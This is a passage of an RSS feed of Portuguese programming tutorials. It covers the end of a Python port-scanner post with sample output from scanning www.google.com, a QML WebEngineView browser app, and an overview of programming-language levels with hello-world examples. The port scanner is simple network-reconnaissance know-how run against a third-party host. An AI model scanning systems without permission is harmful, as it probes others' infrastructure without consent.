    open_ports = scan_ports(host, ports_to_scan)

    print(f"PORTA     ESTADO       SERVIÇO")
    for port in ports_to_scan:
        state = "aberta" if port in open_ports else "fechada"
        service = port_service_map.get(port, "unknown")
        print(f"{port:&amp;lt;9} {state:&amp;lt;12} {service}")

    print("Escaneamento concluído.")

if __name__ == "__main__":
    main()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A função &lt;code&gt;main&lt;/code&gt; faz todo o trabalho de configurar o escaneamento. Primeiro, ela define os argumentos de linha de comando e obtém o website a ser escaneado. Depois, ela resolve o nome do host para um endereço IP e começa a escanear as portas mais comuns. Finalmente, ela exibe o estado de cada porta (aberta ou fechada) junto com o serviço correspondente.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exemplo:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[user@hostname ]$ python scan.py www.google.com  
Iniciando escaneamento de www.google.com (142.250.79.4)...  
PORTA     ESTADO       SERVIÇO  
21        fechada      ftp  
22        fechada      ssh  
23        fechada      telnet  
25        fechada      smtp  
53        fechada      domain  
80        aberta       http  
110       fechada      pop3  
123       fechada      ntp  
135       fechada      msrpc  
139       fechada      netbios-ssn  
143       fechada      imap  
161       fechada      snmp  
194       fechada      irc  
389       fechada      ldap  
443       aberta       https  
445       fechada      microsoft-ds  
465       fechada      smtps  
512       fechada      exec  
513       fechada      login  
514       fechada      shell  
587       fechada      submission  
636       fechada      ldaps  
873       fechada      rsync  
990       fechada      ftps  
993       fechada      imaps  
995       fechada      pop3s  
1080      fechada      socks  
1194      fechada      openvpn  
1433      fechada      ms-sql-s  
1434      fechada      ms-sql-m  
1521      fechada      oracle  
1723      fechada      pptp  
3306      fechada      mysql  
3389      fechada      ms-wbt-server  
5060      fechada      sip  
5432      fechada      postgresql  
5900      fechada      vnc  
5984      fechada      couchdb  
6379      fechada      redis  
6667      fechada      irc  
8000      fechada      http-alt  
8080      fechada      http-proxy  
8443      fechada      https-alt  
8888      fechada      sun-answerbook  
9000      fechada      cslistener  
9200      fechada      wap-wsp  
10000     fechada      webmin  
11211     fechada      memcached  
27017     fechada      mongodb  
Escaneamento concluído.  
[user@hostname ]$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Considerações finais
&lt;/h3&gt;

&lt;p&gt;Este script em Python é uma maneira simples e prática de verificar quais portas estão abertas em um site, o que pode ser útil para fins de segurança ou simples curiosidade.. Sinta-se à vontade para personalizar e expandir este script conforme suas necessidades e busque aprender mais sobre o mundo da programação de redes.&lt;/p&gt;

</description>
      <category>python</category>
      <category>website</category>
      <category>network</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Webview em QML (Qt Modeling Language)</title>
      <dc:creator>Moprius</dc:creator>
      <pubDate>Wed, 26 Jun 2024 22:06:05 +0000</pubDate>
      <link>https://forem.com/moprius/webview-em-qml-qt-modeling-language-67k</link>
      <guid>https://forem.com/moprius/webview-em-qml-qt-modeling-language-67k</guid>
      <description>&lt;h2&gt;
  
  
  Introdução
&lt;/h2&gt;

&lt;p&gt;O código a seguir é um exemplo de uma aplicação básica em QML (Qt Modeling Language) que cria uma janela de aplicação que incorpora um visualizador de web (WebEngineView) para exibir a página do Google. Ele inclui funcionalidades como um menu de contexto, ícone de bandeja do sistema (SystemTrayIcon), e um histórico de URLs visitadas. A aplicação também possui vários itens de menu para interações adicionais, como copiar, colar, cortar, selecionar tudo, atualizar, zoom in, zoom out, e abrir o URL em um navegador externo. Vamos as explicação do código&lt;/p&gt;

&lt;h3&gt;
  
  
  Código completo
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import QtQuick 2.15
import QtQuick.Controls 2.15
import QtQuick.Layouts 1.15
import QtWebEngine 1.10
import Qt.labs.platform 1.1

ApplicationWindow {
    id: window
    visible: true
    width: 1024
    height: 768
    title: "Google"

    WebEngineView {
        id: webEngineView
        anchors.fill: parent
        url: "https://www.google.com"

        onUrlChanged: {
            historyModel.append({url: webEngineView.url.toString()})
        }
    }

    ListModel {
        id: historyModel
    }

    ListView {
        id: historyView
        width: parent.width
        height: 200
        model: historyModel
        delegate: Text {
            text: url
        }
        visible: false // Defina como true para visualizar o histórico
    }

    MouseArea {
        anchors.fill: parent
        acceptedButtons: Qt.RightButton
        onPressed: {
            if (mouse.button == Qt.RightButton) {
                contextMenu.open(mouse.x, mouse.y)
            }
        }
    }

    Menu {
        id: contextMenu
        MenuItem {
            text: qsTr("Copy")
            onTriggered: webEngineView.triggerWebAction(WebEngineView.Copy)
        }
        MenuItem {
            text: qsTr("Paste")
            onTriggered: webEngineView.triggerWebAction(WebEngineView.Paste)
        }
        MenuItem {
            text: qsTr("Cut")
            onTriggered: webEngineView.triggerWebAction(WebEngineView.Cut)
        }
        MenuItem {
            text: qsTr("Select All")
            onTriggered: webEngineView.triggerWebAction(WebEngineView.SelectAll)
        }
        MenuItem {
            text: qsTr("Refresh")
            onTriggered: webEngineView.triggerWebAction(WebEngineView.Reload)
        }
        MenuItem {
            text: qsTr("Zoom In")
            onTriggered: { webEngineView.zoomFactor += 0.1; }
        }
        MenuItem {
            text: qsTr("Zoom Out")
            onTriggered: { webEngineView.zoomFactor -= 0.1; }
        }
        MenuItem {
            text: qsTr("Open in external browser")
            onTriggered: {
                Qt.openUrlExternally(webEngineView.url)
            }
        }
    }

 SystemTrayIcon {
    id: trayIcon
    visible: true
    icon.source: "./imagens/google.png" // No caso a pasta onde está a imagem do ícone

    menu: Menu {
        MenuItem {
            text: "Open"
            onTriggered: {
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
        MenuItem {
            text: "Open Specific URL"
            onTriggered: {
                webEngineView.url = "http://www.google.com"
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
        MenuItem {
            text: "Toggle History View"
            onTriggered: {
                historyView.visible = !historyView.visible
            }
        }
        MenuItem {
            text: "Settings"
            onTriggered: {
                // Implemente a lógica para abrir a janela de configurações
            }
        }
        MenuItem {
            text: "Exit"
            onTriggered: Qt.quit()
        }
    }

    onActivated: reason =&amp;gt; {
        if (reason === SystemTrayIcon.Trigger) {
            if (window.visible) {
                window.hide()
            } else {
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
    }
}

onClosing: {
    close.accepted = false;
    window.hide();
}

Component.onCompleted: {
    trayIcon.show()
}

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Explicação do Código
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import QtQuick 2.15
import QtQuick.Controls 2.15
import QtQuick.Layouts 1.15
import QtWebEngine 1.10
import Qt.labs.platform 1.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esses comandos importam os módulos necessários para a aplicação. QtQuick é usado para interfaces de usuário, QtQuick.Controls para controles padrão (como botões e menus), QtQuick.Layouts para layouts, QtWebEngine para exibir páginas web, e Qt.labs.platform para acessar funcionalidades específicas da plataforma.&lt;/p&gt;






&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ApplicationWindow {
    id: window
    visible: true
    width: 1024
    height: 768
    title: "Google"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ApplicationWindow&lt;/code&gt; define a janela principal da aplicação, com uma largura de 1024 pixels, altura de 768 pixels, e o título "Google".&lt;/p&gt;






&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WebEngineView {
    id: webEngineView
    anchors.fill: parent
    url: "https://www.google.com"

    onUrlChanged: {
        historyModel.append({url: webEngineView.url.toString()})
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;WebEngineView&lt;/code&gt; é o componente que carrega e exibe a página web. Quando o URL muda, a nova URL é adicionada ao modelo de histórico (&lt;code&gt;historyModel&lt;/code&gt;).&lt;/p&gt;






&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ListModel {
    id: historyModel
}

ListView {
    id: historyView
    width: parent.width
    height: 200
    model: historyModel
    delegate: Text {
        text: url
    }
    visible: false // Defina como true para visualizar o histórico
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ListModel&lt;/code&gt; armazena as URLs visitadas. &lt;code&gt;ListView&lt;/code&gt; exibe esse histórico, mas está inicialmente invisível (&lt;code&gt;visible: false&lt;/code&gt;).&lt;/p&gt;






&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MouseArea {
    anchors.fill: parent
    acceptedButtons: Qt.RightButton
    onPressed: {
        if (mouse.button == Qt.RightButton) {
            contextMenu.open(mouse.x, mouse.y)
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;MouseArea&lt;/code&gt; detecta cliques do mouse. Se o botão direito do mouse for pressionado, o menu de contexto (&lt;code&gt;contextMenu&lt;/code&gt;) é aberto na posição do clique.&lt;/p&gt;






&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Menu {
    id: contextMenu
    MenuItem {
        text: qsTr("Copy")
        onTriggered: webEngineView.triggerWebAction(WebEngineView.Copy)
    }
    MenuItem {
        text: qsTr("Paste")
        onTriggered: webEngineView.triggerWebAction(WebEngineView.Paste)
    }
    MenuItem {
        text: qsTr("Cut")
        onTriggered: webEngineView.triggerWebAction(WebEngineView.Cut)
    }
    MenuItem {
        text: qsTr("Select All")
        onTriggered: webEngineView.triggerWebAction(WebEngineView.SelectAll)
    }
    MenuItem {
        text: qsTr("Refresh")
        onTriggered: webEngineView.triggerWebAction(WebEngineView.Reload)
    }
    MenuItem {
        text: qsTr("Zoom In")
        onTriggered: { webEngineView.zoomFactor += 0.1; }
    }
    MenuItem {
        text: qsTr("Zoom Out")
        onTriggered: { webEngineView.zoomFactor -= 0.1; }
    }
    MenuItem {
        text: qsTr("Open in external browser")
        onTriggered: {
            Qt.openUrlExternally(webEngineView.url)
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Menu&lt;/code&gt; define um menu de contexto com várias opções, como copiar, colar, cortar, selecionar tudo, atualizar, zoom in, zoom out, e abrir o URL em um navegador externo.&lt;/p&gt;






&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SystemTrayIcon {
    id: trayIcon
    visible: true
    icon.source: "./imagens/google.png" // No caso a pasta onde está a imagem do ícone

    menu: Menu {
        MenuItem {
            text: "Open"
            onTriggered: {
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
        MenuItem {
            text: "Open Specific URL"
            onTriggered: {
                webEngineView.url = "http://www.google.com"
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
        MenuItem {
            text: "Toggle History View"
            onTriggered: {
                historyView.visible = !historyView.visible
            }
        }
        MenuItem {
            text: "Settings"
            onTriggered: {
                // Implemente a lógica para abrir a janela de configurações
            }
        }
        MenuItem {
            text: "Exit"
            onTriggered: Qt.quit()
        }
    }

    onActivated: reason =&amp;gt; {
        if (reason === SystemTrayIcon.Trigger) {
            if (window.visible) {
                window.hide()
            } else {
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;SystemTrayIcon&lt;/code&gt; cria um ícone na bandeja do sistema com um menu. As opções do menu permitem abrir a aplicação, abrir um URL específico, alternar a visualização do histórico, abrir configurações e sair da aplicação. A aplicação pode ser minimizada para a bandeja do sistema e restaurada a partir dela.&lt;/p&gt;






&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;onClosing: {
    close.accepted = false;
    window.hide();
}

Component.onCompleted: {
    trayIcon.show()
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esses manipuladores de evento garantem que a aplicação não seja completamente fechada ao clicar em fechar, mas sim escondida. &lt;code&gt;Component.onCompleted&lt;/code&gt; exibe o ícone na bandeja quando a aplicação é iniciada.&lt;/p&gt;




&lt;h3&gt;
  
  
  Conclusão
&lt;/h3&gt;

&lt;p&gt;O código exemplifica uma aplicação QML que utiliza &lt;code&gt;WebEngineView&lt;/code&gt; para carregar o Google, inclui um menu de contexto para várias operações, e um ícone de bandeja do sistema para facilitar o acesso e controle da aplicação. Os elementos chave como &lt;code&gt;MouseArea&lt;/code&gt; e &lt;code&gt;SystemTrayIcon&lt;/code&gt; melhoram a usabilidade, permitindo que os usuários interajam com a aplicação de maneira intuitiva e eficiente. Este exemplo é uma boa base para criar aplicativos web integrados com funcionalidades de interface de usuário ricas e interativas.&lt;/p&gt;

</description>
      <category>qml</category>
      <category>webview</category>
      <category>website</category>
      <category>qt</category>
    </item>
    <item>
      <title>Introdução às linguagens de programação</title>
      <dc:creator>Moprius</dc:creator>
      <pubDate>Wed, 26 Jun 2024 21:31:07 +0000</pubDate>
      <link>https://forem.com/moprius/introducao-a-linguagens-de-programacao-4j90</link>
      <guid>https://forem.com/moprius/introducao-a-linguagens-de-programacao-4j90</guid>
      <description>&lt;h2&gt;
  
  
  Introdução
&lt;/h2&gt;

&lt;p&gt;No mundo da programação, entender as diferenças entre linguagens de baixo nível, médio nível e alto nível é essencial para qualquer desenvolvedor. As linguagens de baixo nível, como código da máquina e Assembly, proporcionam controle direto sobre o hardware, permitindo otimizações precisas de desempenho, mas exigem um conhecimento profundo da arquitetura do sistema e são notoriamente difíceis de aprender e usar. Outras linguagens de médio nível, como C e Rust, oferecem um equilíbrio entre controle de hardware e abstração, combinando a eficiência das linguagens de baixo nível com a acessibilidade das de alto nível. Elas são versáteis e amplamente utilizadas em diversas áreas, desde sistemas operacionais até desenvolvimento de jogos. Já as linguagens de alto nível, como C++, Java, Python, JavaScript, são projetadas para serem as mais amigáveis ao usuário, proporcionando uma sintaxe intuitiva e recursos avançados que facilitam o desenvolvimento rápido e a manutenção do código.  Cada nível tem suas próprias vantagens e desvantagens, e a escolha da linguagem ideal depende das necessidades específicas do projeto e das preferências do desenvolvedor. Vamos conhecer como elas funcionam.&lt;/p&gt;

&lt;h2&gt;
  
  
  Linguagens de Programação de Baixo Nível
&lt;/h2&gt;

&lt;p&gt;As linguagens de programação de baixo nível são aquelas que oferecem pouca ou nenhuma abstração da arquitetura de hardware de um computador. Elas são frequentemente descritas como linguagens "próximas do hardware", ou seja, são projetadas para interagir diretamente com os componentes físicos do computador. Por isso, costumam ser específicas para uma determinada arquitetura de computador.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vantagens das linguagens de programação de baixo nível
&lt;/h3&gt;

&lt;p&gt;Programas escritos em linguagens de baixo nível são geralmente mais eficientes em termos de velocidade de execução e uso de memória. Eles têm controle total sobre componentes de hardware, registradores e memória, proporcionando um alto nível de controle sobre o comportamento do programa. Isso pode ser fundamental em ambientes com armazenamento limitado.&lt;/p&gt;

&lt;h3&gt;
  
  
  Desvantagens das linguagens de programação de baixo nível
&lt;/h3&gt;

&lt;p&gt;Essas linguagens exigem um entendimento profundo da arquitetura de hardware, tornando o aprendizado muitas vezes desafiador e difícil. Escrever programas em linguagens de baixo nível frequentemente requer mais tempo e esforço do que em linguagens de alto nível. Esses programas são muitas vezes específicos para uma arquitetura particular, dificultando a transferência para diferentes plataformas ou outras arquiteturas. Como essas linguagens fornecem acesso direto à memória e ao hardware, há um maior risco de erros de programação que podem levar a falhas no sistema.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exemplos incluem Código da máquina e Assembly:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Código de máquina:&lt;/strong&gt; Esta é a forma mais baixa de linguagem de programação, consistindo em código binário que representa diretamente instruções executadas pela CPU. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Linguagem Assembly:&lt;/strong&gt; As linguagens Assembly são específicas para uma arquitetura de CPU particular e fornecem uma representação simbólica das instruções de código de máquina. Por exemplo, processadores Intel requerem Assembly x86.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Exemplos:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hello, World, em Assembly&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;section .data
    hello db 'Hello, World!', 0x0A  ; Mensagem a ser impressa com nova linha no final

section .text
    global _start

_start:
    ; Chamada de sistema para escrever (sys_write)
    mov eax, 4          ; syscall número (sys_write)
    mov ebx, 1          ; arquivo descriptor (stdout)
    mov ecx, hello      ; ponteiro para a mensagem
    mov edx, 13         ; comprimento da mensagem
    int 0x80            ; chamada de interrupção

    ; Chamada de sistema para sair (sys_exit)
    mov eax, 1          ; syscall número (sys_exit)
    xor ebx, ebx        ; status de saída 0
    int 0x80            ; chamada de interrupção
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adição de Dois Números&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;section .data
    num1 db 5        ; Primeiro número
    num2 db 10       ; Segundo número

section .bss
    result resb 1    ; Espaço para o resultado

section .text
    global _start

_start:
    mov al, [num1]   ; Carrega o primeiro número em AL
    add al, [num2]   ; Adiciona o segundo número ao valor em AL
    mov [result], al ; Armazena o resultado

    ; Saída do programa
    mov eax, 1       ; syscall número (sys_exit)
    int 0x80         ; chamada de interrupção
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As linguagens de baixo nível são a escolha certa quando a prioridade é o controle preciso sobre o hardware, a otimização de desempenho e a eficiência máxima, mesmo que isso signifique sacrificar um pouco da velocidade de desenvolvimento, da manutenção do código e da facilidade de uso oferecidas pelas linguagens de alto nível.&lt;/p&gt;

&lt;h2&gt;
  
  
  Linguagens de Programação de Nível Médio
&lt;/h2&gt;

&lt;p&gt;As linguagens de nível médio não são uma categoria oficial amplamente reconhecida ou claramente definida dentro da academia, mas o termo é ocasionalmente usado para descrever linguagens que possuem características de ambas as linguagens de alto e baixo nível. Na prática, o conceito de linguagens de nível médio é mais uma conveniência de descrição do que uma classificação acadêmica. Elas tentam equilibrar a acessibilidade das linguagens de alto nível com o controle detalhado sobre o hardware oferecido pelas linguagens de baixo nível, podendo oferecer abstrações mais simples que as linguagens de baixo nível, mas ainda permitem uma manipulação mais direta dos recursos do sistema.  &lt;/p&gt;

&lt;h3&gt;
  
  
  Vantagens das linguagens de programação de nível médio
&lt;/h3&gt;

&lt;p&gt;As linguagens de nível médio fornecem uma combinação de controle detalhado sobre o hardware e abstração suficiente para tornar a programação mais intuitiva e legível do que as linguagens de baixo nível. Programas escritos em linguagens de nível médio são mais portáteis do que aqueles escritos em linguagens de baixo nível, embora possam exigir alguns ajustes específicos de plataforma. Essas linguagens são mais amigáveis ao usuário do que as linguagens de baixo nível, o que pode levar a um aumento na produtividade dos desenvolvedores. As linguagens de nível médio são adequadas para uma ampla gama de aplicações, oferecendo um bom equilíbrio entre desempenho e facilidade de uso.  &lt;/p&gt;

&lt;h3&gt;
  
  
  Desvantagens das linguagens de programação de nível médio
&lt;/h3&gt;

&lt;p&gt;Embora as linguagens de nível médio sejam geralmente mais fáceis de aprender do que as de baixo nível, ainda podem ser algumas vezes desafiadores, especialmente para iniciantes. Elas não oferecem o mesmo nível de controle sobre o hardware que as linguagens de baixo nível. Frequentemente, dependem de bibliotecas para funcionalidades específicas.&lt;/p&gt;

&lt;p&gt;Exemplos de linguagem incluem C e Rust.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C:&lt;/strong&gt; É uma linguagem de programação que oferece uma combinação de abstração de alto nível com controle detalhado sobre o hardware. Ela permite manipulação direta de memória através do uso de ponteiros e oferece um desempenho muito próxima à do código de máquina, sendo amplamente utilizada para desenvolvimento de sistemas operacionais, drivers e outras aplicações de baixo nível.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rust:&lt;/strong&gt; É uma linguagem moderna que equilibra segurança e desempenho. Ela proporciona abstrações de alto nível como segurança de memória e gestão de concorrência sem coletor de lixo, ao mesmo tempo que permite controle de baixo nível semelhante ao C. Rust é usada para desenvolver software de sistemas, aplicações de desempenho crítica e é conhecida por sua ênfase na segurança e prevenção de erros de memória.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Exemplos:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hello, World em C&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

int main() {
    // Imprime "Hello, World!" na tela
    printf("Hello, World!\n");
    return 0;
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adição de dois números em C&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

int main() {
    int num1, num2, soma;

    // Solicita ao usuário que insira o primeiro número
    printf("Digite o primeiro número: ");
    scanf("%d", &amp;amp;num1);

    // Solicita ao usuário que insira o segundo número
    printf("Digite o segundo número: ");
    scanf("%d", &amp;amp;num2);

    // Calcula a soma dos dois números
    soma = num1 + num2;

    // Exibe o resultado
    printf("A soma de %d e %d é %d\n", num1, num2, soma);

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hello, World em Rust&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fn main() {
    // Imprime "Hello, World!" na tela
    println!("Hello, World!");
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adição de dois números em Rust&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use std::io;

fn main() {
    // Solicita ao usuário que insira o primeiro número
    println!("Digite o primeiro número:");
    let mut num1 = String::new();
    io::stdin().read_line(&amp;amp;mut num1).expect("Falha ao ler a linha");
    let num1: i32 = num1.trim().parse().expect("Por favor, insira um número inteiro");

    // Solicita ao usuário que insira o segundo número
    println!("Digite o segundo número:");
    let mut num2 = String::new();
    io::stdin().read_line(&amp;amp;mut num2).expect("Falha ao ler a linha");
    let num2: i32 = num2.trim().parse().expect("Por favor, insira um número inteiro");

    // Calcula a soma dos dois números
    let soma = num1 + num2;

    // Exibe o resultado
    println!("A soma de {} e {} é {}", num1, num2, soma);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As linguagens de nível médio oferecem um compromisso entre a eficiência e o controle das linguagens de baixo nível e a facilidade de uso das linguagens de alto nível. São uma escolha equilibrada para desenvolvedores que procuram um meio-termo entre controle e usabilidade.  &lt;/p&gt;

&lt;h2&gt;
  
  
  Linguagens de Programação de Alto Nível
&lt;/h2&gt;

&lt;p&gt;As linguagens de programação de alto nível são feitas para serem o mais amigáveis possível. Elas oferecem uma alta abstração da arquitetura de hardware do computador e são conhecidas por sua simplicidade e legibilidade. Essas linguagens permitem que os desenvolvedores escrevam programas usando uma sintaxe próxima da linguagem natural, eliminando grande parte da complexidade associada à programação de baixo nível. Elas são especialmente ótimas para aplicativos onde a velocidade de desenvolvimento, a manutenção e a facilidade de uso são mais importantes do que o controle de baixo nível e otimizações de desempenho.  &lt;/p&gt;

&lt;h3&gt;
  
  
  Vantagens das linguagens de programação de alto nível
&lt;/h3&gt;

&lt;p&gt;Muitas linguagens de alto nível possuem uma sintaxe parecida com o inglês, o que as torna mais fáceis para iniciantes aprenderem e usarem. Não é à toa que programar em linguagens de alto nível é mais rápido e eficiente do que em linguagens de baixo ou nível médio. Programas escritos em linguagens de alto nível são geralmente portáteis entre diferentes plataformas com poucas ou nenhuma modificação. Essas linguagens frequentemente incluem recursos como tipagem dinâmica, gerenciamento automático de memória (coleta de lixo) e bibliotecas integradas para facilitar o processo de desenvolvimento. Elas não exigem operações complicadas, como gerenciamento de memória e detalhes específicos de hardware, permitindo que os desenvolvedores se concentrem em resolver problemas em um nível mais alto.  &lt;/p&gt;

&lt;h3&gt;
  
  
  Desvantagens das linguagens de programação de alto nível
&lt;/h3&gt;

&lt;p&gt;As linguagens de alto nível abstraem muitos detalhes de hardware, dando menos controle sobre os recursos do computador. Aplicações escritas nela podem consumir muitos recursos do sistema, como memória e poder de processamento. Essas linguagens dependem frequentemente de bibliotecas e frameworks para diversas funcionalidades.  &lt;/p&gt;

&lt;p&gt;Exemplos de linguagens de programação de alto nível em uso hoje incluem C++, Java, C#, Python, JavaScript e muitas outras.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Exemplos&lt;/em&gt;&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;Hello, World em C++&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;

int main() {
    // Imprime "Hello, World!" na tela
    std::cout &amp;lt;&amp;lt; "Hello, World!" &amp;lt;&amp;lt; std::endl;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adição de dois números em C++&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;

int main() {
    int num1, num2, sum;

    // Solicita ao usuário que insira o primeiro número
    std::cout &amp;lt;&amp;lt; "Digite o primeiro número: ";
    std::cin &amp;gt;&amp;gt; num1;

    // Solicita ao usuário que insira o segundo número
    std::cout &amp;lt;&amp;lt; "Digite o segundo número: ";
    std::cin &amp;gt;&amp;gt; num2;

    // Calcula a soma dos dois números
    sum = num1 + num2;

    // Exibe o resultado
    std::cout &amp;lt;&amp;lt; "A soma de " &amp;lt;&amp;lt; num1 &amp;lt;&amp;lt; " e " &amp;lt;&amp;lt; num2 &amp;lt;&amp;lt; " é " &amp;lt;&amp;lt; sum &amp;lt;&amp;lt; std::endl;

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hello, World em Python&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Este programa imprime "Hello, World!" na tela
print("Hello, World!")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adição de dois números em Python&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Solicita ao usuário que insira o primeiro número
num1 = float(input("Digite o primeiro número: "))

# Solicita ao usuário que insira o segundo número
num2 = float(input("Digite o segundo número: "))

# Calcula a soma dos dois números
soma = num1 + num2

# Exibe o resultado
print("A soma de {} e {} é {}".format(num1, num2, soma))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As linguagens de alto nível são a escolha certa quando a prioridade é a velocidade de desenvolvimento, a manutenção do código e a facilidade de uso, mesmo que isso signifique sacrificar um pouco do controle e da eficiência oferecidos pelas linguagens de baixo nível.&lt;/p&gt;

&lt;h2&gt;
  
  
  Considerações finais
&lt;/h2&gt;

&lt;p&gt;A escolha da linguagem de programação ideal depende do equilíbrio e da necessidade entre o controle sobre o hardware e a abstração necessária para o desenvolvimento eficiente de software. Seja na construção de sistemas operacionais robustos e eficientes utilizando linguagens de baixo nível, na criação de aplicações versáteis e portáteis com linguagens de médio nível, ou no desenvolvimento ágil de soluções de software complexas com linguagens de alto nível, cada categoria de linguagem de programação desempenha um papel na evolução da tecnologia e na resolução de problemas diversos. &lt;/p&gt;

</description>
      <category>programming</category>
      <category>cpp</category>
      <category>rust</category>
      <category>python</category>
    </item>
  </channel>
</rss>
